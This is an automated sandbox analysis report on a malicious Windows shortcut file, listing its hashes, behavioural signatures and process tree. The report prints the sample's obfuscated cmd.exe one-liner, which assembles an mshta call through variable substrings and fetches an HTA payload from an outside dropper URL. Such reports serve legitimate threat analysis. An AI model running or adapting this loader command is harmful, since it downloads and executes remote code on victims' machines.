Analysis

  • max time kernel
    58s
  • max time network
    59s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/08/2026, 06:19

General

  • Target
    DOC-5FQFK1.lnk
  • Size 2KB
  • Sample260823-g3j4hstdpc
  • SHA256 5801b528b0dad6aa0eb86705bcf5b6c2baed5bb3c841d60a1ae3603e6931ef84
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5FQFK1.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4284
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set dMvo=bakikltjlyfwtjldlobak&&set keZC=8mkstz&&set QV=7jarr5b&&set ZbeP=94ntk6r&&set iBZ=infxyqorvlinf&&set PIlKS=oldqrsgadiyold&&set Fbg=oldwpuaulutscold&&set Cr=oldaltjranhold&&set DyYXV=winbcrekzjsctrcnlwncwin&&set Szi=loggyxuyzyplog&&set Sn=tmpfcrdanpctmp&&set xo=infgrlpjdmprnteinf&&set LLzNe=bakdpvsbak&&set wJ=3m1mvz7&&set fA=xshtkus&&set PyN=wayeb&&set fgFiM=h@ttps@:@//k-d@o@c@ume@nta@cio@n.@lat/h@/e@st@a@gi@o@[email protected]@?r=@3@F@1477F@15@398D@1&&start /b !wJ:~3,1!!fA:~1,3!!PyN:~1,1! !fgFiM:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:724

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads